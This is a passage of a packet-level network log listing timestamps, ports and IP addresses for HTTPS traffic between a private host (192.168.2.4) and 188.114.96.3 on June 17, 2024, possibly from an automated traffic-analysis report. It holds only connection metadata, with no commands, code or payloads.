Jun 17, 2024 16:18:43.011394024 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.011415958 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.011424065 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.011437893 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.011693954 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.011714935 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.011745930 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.011750937 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.011770010 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.011981964 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.012005091 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.012029886 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.012036085 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.012053967 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.012130976 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.012149096 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.012180090 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.012186050 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.012207985 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.012295961 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.012326002 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.012339115 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.012347937 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.012368917 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.012639999 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.012658119 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.012687922 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.012693882 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.012722969 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.012793064 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.012815952 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.012846947 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.012854099 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.012865067 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.012994051 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.013014078 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.013039112 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.013046026 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.013060093 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.013071060 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.013098955 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.013123989 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.013132095 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.013140917 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.013169050 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:43.013174057 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.013235092 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:43.015836000 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:46.329248905 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:46.329305887 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:46.329370022 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:46.337294102 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:46.337331057 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.232872009 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.233253002 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.314678907 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.314727068 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.315054893 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.364645958 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.376889944 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.420504093 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.509460926 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.509515047 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.509547949 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.509607077 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.509664059 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.509691000 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.509731054 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.509777069 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.509785891 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.509819031 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.509826899 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.509841919 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.509881973 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.510519028 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.510749102 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.510762930 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.551527023 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.626418114 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.626595974 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.626653910 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.626677036 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.626769066 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.626853943 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.626882076 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.626893997 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.626993895 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.627155066 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.627165079 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.627223015 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.627249956 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.627420902 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.627501965 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.627528906 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.627537966 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.627804995 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.627813101 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.628401041 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.628478050 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.628511906 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.628521919 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.628921986 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.628950119 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.628959894 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.629086971 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.668838978 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.668869019 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.669015884 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.669033051 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.723157883 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.743027925 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.743094921 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.743124008 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.743159056 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.743176937 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.743216991 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.743249893 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.743275881 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.743285894 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.743319035 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.743344069 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.743350983 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.743376970 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.744211912 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.744318962 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.744347095 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.744347095 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.744359016 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.744369984 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.744390965 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.745258093 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.745368958 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.745398045 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.745402098 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.745414019 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.745429039 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.745455027 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.745455980 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.746354103 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.746402025 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.746438980 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.746450901 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.746478081 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.746521950 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.747169971 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.747250080 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.785722971 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.785808086 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.785926104 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.785962105 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.785983086 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.833553076 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.859703064 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.859777927 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.859846115 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.859913111 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.859913111 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.859946966 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.859970093 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.859972954 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.860022068 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.860030890 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.860198975 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.860234976 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.860248089 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.860292912 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.860675097 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.860702038 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.860783100 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.860799074 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.861138105 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.861179113 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.861233950 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.861247063 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.861288071 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.861311913 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.861342907 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.861392021 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.861392021 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.861407995 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.862088919 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.862143993 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.862170935 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.862183094 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.862226963 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.862752914 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.862818003 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.862831116 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.862925053 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.862958908 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.862991095 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.862996101 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.862996101 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.863010883 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.863051891 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.863051891 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.863867998 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.863902092 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.863933086 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.863939047 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.863950968 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.863974094 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.863985062 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.863985062 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.864027977 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.864027977 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.864039898 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.864878893 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.864909887 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.864950895 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.864988089 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.864988089 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.865001917 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.865040064 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.865567923 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.865650892 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.865782976 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.902436018 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.902487040 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.902512074 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.902627945 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.902627945 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.902627945 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.902666092 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.902848959 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.976701975 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.976893902 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.976996899 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.977056980 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.977066994 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.977087975 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.977111101 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.977154970 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.977313995 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.977330923 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.977380037 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.977387905 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.977432966 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.977843046 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.977859020 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.977916002 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.977930069 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.977979898 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.978506088 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.978521109 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.978576899 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.978590965 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.978640079 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.982042074 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.982058048 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.982112885 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.982125998 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.982175112 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.982445955 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.982460022 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.982512951 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.982525110 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.982575893 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.982914925 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.982929945 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.982975006 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.982985973 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.983016014 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.983033895 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.983093023 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.983113050 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.983170033 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.983181953 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.983246088 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.984067917 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.984082937 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.984142065 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.984153986 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.984203100 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.984494925 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.984510899 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.984563112 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.984575033 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.984603882 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.984625101 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.984754086 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.984769106 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.984822989 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.984834909 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.984860897 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.984883070 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.985570908 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.985588074 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.985629082 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.985640049 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:47.985667944 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:47.985693932 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.020756006 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.020780087 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.020844936 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.020843029 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.020881891 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.020926952 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.020972013 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.020972013 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.020972013 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.020972013 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.067028046 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.093903065 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.093924046 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.093975067 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.094012022 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.094108105 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.094110966 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.094110966 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.094110966 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.094121933 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.094185114 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.094242096 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.094332933 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.094350100 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.094388962 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.094404936 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.094434023 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.094855070 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.094866991 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.094907045 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.094921112 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.094948053 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.095067024 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.095083952 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.095118999 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.095136881 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.095160961 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.095395088 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.095407963 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.095449924 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.095463037 CEST	443	49732	188.114.96.3	192.168.2.4
